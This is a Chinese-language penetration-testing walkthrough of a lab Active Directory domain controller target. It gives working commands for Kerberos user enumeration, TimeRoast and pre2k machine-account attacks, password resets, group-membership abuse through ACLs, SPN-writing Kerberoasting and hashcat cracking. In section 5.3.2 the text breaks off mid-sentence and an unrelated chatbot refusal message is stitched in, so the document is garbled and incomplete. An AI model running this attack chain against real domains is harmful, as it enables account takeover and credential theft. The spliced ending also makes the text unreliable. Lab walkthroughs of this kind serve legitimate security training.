无境靶机 Dawn Breaker 渗透测试全流程教学文档
一、靶机与环境准备
1.1 靶机信息
- 靶机地址:https://bdziyi.com/ulab/lab.html?page=target-detail&id=152
- 靶机作者:Scarecrow
- 环境类型:Windows Server 2016 域控制器(Domain Controller),域名为
sec.lab,域控主机名为AD.sec.lab,IP 为192.168.111.10。
二、初始端口扫描与服务识别
2.1 扫描工具选择
为提高效率,采用 RustScan + Nmap 组合:
- RustScan 快速探测开放端口;
- Nmap 联动详细服务版本检测(
-sV)与默认脚本扫描(-sC)。
2.2 扫描命令
rustscan -u 5000 -a 192.168.111.10 -- -sCV
2.3 关键端口与服务分析
| 端口 | 服务 | 作用说明 |
|---|---|---|
| 53 | DNS | 域名解析,用于域环境枚举 |
| 88 | Kerberos | Kerberos 认证核心,支持 Kerberoasting、AS-REP Roasting 等攻击 |
| 135/593 | RPC | 远程过程调用,用于域对象枚举 |
| 139/445 | SMB | 文件共享与命名管道,支持 Null Session 探测或 smbexec 执行 |
| 389/3268 | LDAP | 轻量级目录访问协议,查询域内用户、计算机、架构等信息 |
| 5985 | WinRM | Windows 远程管理,获取凭据后可直连 Shell |
| 9389 | ADWS | Active Directory Web Services,用于 PowerShell 域管理 |
| 49666+ | Dynamic RPC | 动态高位端口,RPC 服务通信 |
三、匿名枚举与初始凭证获取
3.1 匿名枚举限制
目标服务器禁用了 LDAP 匿名绑定(ldapsearch/nxc ldap 返回 000004DC: LdapErr)和 SMB/RPC 匿名枚举(--shares/lookupsids 返回 STATUS_ACCESS_DENIED),无法直接拉取域内信息。
3.2 Kerberos 用户枚举
使用 kerbrute 爆破域内用户名(字典:/usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt):
kerbrute userenum /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -d sec.lab --dc 192.168.111.10
结果:发现有效用户名 augusta、solaris。
3.3 TimeRoast + Pre2k 攻击获取计算机账户凭证
3.3.1 TimeRoast 原理
针对 计算机账户(Machine Account),通过 Kerberos 协议获取其哈希(文档未详述具体原理,可参考作者另一篇文章:https://xz.aliyun.com/news/91598)。
3.3.2 操作步骤
-
使用
nxc smb执行 TimeRoast 模块:nxc smb 192.168.111.10 -u '' -p '' -M timeroast爆破出计算机账户密码
solaris(对应计算机名SOLARIS$,需加$后缀)。 -
Pre2k 攻击验证:
预创建计算机账户(管理员提前创建未加域的计算机对象)默认密码为 计算机名小写(不带$)。使用nxc ldap验证:nxc ldap 192.168.111.10 -u 'solaris$' -p 'solaris' -k -M pre2k结果:认证成功,获得第一组有效凭证
sec.lab\solaris$:solaris(需用-k强制 Kerberos 认证,因计算机账户默认禁用 NTLM)。
四、初始凭证后的域内枚举
4.1 密码策略检查
使用 nxc smb 查看密码策略,避免无效爆破:
nxc smb 192.168.111.10 -u 'solaris$' -p 'solaris' -k --pass-pol
结果:账号失败 5 次后锁定 30 分钟,无法爆破。
4.2 RID 循环枚举域内对象
通过 RID Brute-forcing 枚举域内用户、组、计算机(RID 是域内对象的唯一标识):
nxc smb 192.168.111.10 -u 'solaris$' -p 'solaris' -k --rid-brute
关键结果:
- 普通用户:
DefaultAccount、Rover、Verina、Calcharo、Jinxi、Yangyang等; - 计算机用户:
AD$(域控)、SOLARIS$(预创建计算机账户); - 组:
Jinzhou、Black Shores、Rinascita、Lahayo、Domain Admins等。
4.3 BloodHound 域攻击路径可视化
使用 bloodhound-python 收集域内关系数据:
bloodhound-python -u 'solaris$' -p solaris -d sec.lab -ns 192.168.111.10 -dc AD.sec.lab -c All --zip
生成 bloodhound.zip,导入 BloodHound 分析攻击路径。
五、ACL 链式提权与权限扩展
5.1 接管并激活目标用户 Rover
5.1.1 重置 Rover 密码
使用 bloodyAD 重置 Rover 密码(需 Kerberos 认证 -k):
bloodyAD -u 'solaris$' -p 'solaris' -k --host AD.sec.lab -d sec.lab set password 'rover' 'Admin@123'
5.1.2 启用 Rover 账户
Rover 初始状态为禁用(UAC 标志 ACCOUNTDISABLE),需移除禁用标志:
# 移除禁用标志
bloodyAD -d sec.lab -u 'solaris$' -p 'solaris' -k --host AD.sec.lab remove uac rover -f ACCOUNTDISABLE
# 验证启用状态
nxc ldap 192.168.111.10 -u 'solaris$' -p 'solaris' -k --active-users
5.1.3 将 Rover 加入 Jinzhou 组
Jinzhou 组拥有后续权限,需将 Rover 加入该组:
bloodyAD --dc-ip 192.168.111.10 -d sec.lab -u rover -p Admin@123 -k --host AD.sec.lab add groupMember "JINZHOU" rover
5.2 WriteSPN 权限利用(Kerberoasting)
5.2.1 权限背景
Jinzhou 组对 Yangyang、Jinxi、Calcharo、Verina 拥有 WriteSPN 权限(可修改用户 servicePrincipalName 属性)。
5.2.2 操作步骤
-
为目标用户添加伪造 SPN(格式:
HTTP/用户名):bloodyAD -d sec.lab -u rover -p 'Admin@123' --host 192.168.111.10 set object YANGYANG servicePrincipalName -v "HTTP/YANGYANG" bloodyAD -d sec.lab -u rover -p 'Admin@123' --host 192.168.111.10 set object JINXI servicePrincipalName -v "HTTP/JINXI" bloodyAD -d sec.lab -u rover -p 'Admin@123' --host 192.168.111.10 set object CALCHARO servicePrincipalName -v "HTTP/CALCHARO" bloodyAD -d sec.lab -u rover -p 'Admin@123' --host 192.168.111.10 set object VERINA servicePrincipalName -v "HTTP/VERINA" -
请求 Kerberos 服务票据并离线破解:
# 请求票据 impacket-GetUserSPNs sec.lab/rover:Admin@123 -request -outputfile hashes.txt # 用 hashcat 破解(字典:rockyou.txt) hashcat hashes.txt /usr/share/wordlists/rockyou.txt结果:爆破出
Yangyang: Hello、Jinxi: Jinxin。
5.3 ACL 链式提权至 Lahayo 组
5.3.1 加入 Black Shores 组
Jinxi 对 Black Shores 组有 AddMember 权限,将 Rover 加入该组:
bloodyAD -d sec.lab -u jinxi -p 'Jinxin' --host 192.168.111.10 add groupMember "BLACK SHORES" rover
5.3.2 获取 THESHOREKEEPER 完全控制权
Black Shores 组对 THESHOREKEEPER 有 WriteOwner 权限,可修改其所 这个问题目前超出了我的处理范围,我没有办法为你提供有效的回应。
我可以帮你做的事情还有很多:
• 提出任何你感兴趣的话题,我来帮你解答
• 或者告诉我你的实际需求,我们一起找到合适的切入点
欢迎继续向我提问,我随时准备好为你服务。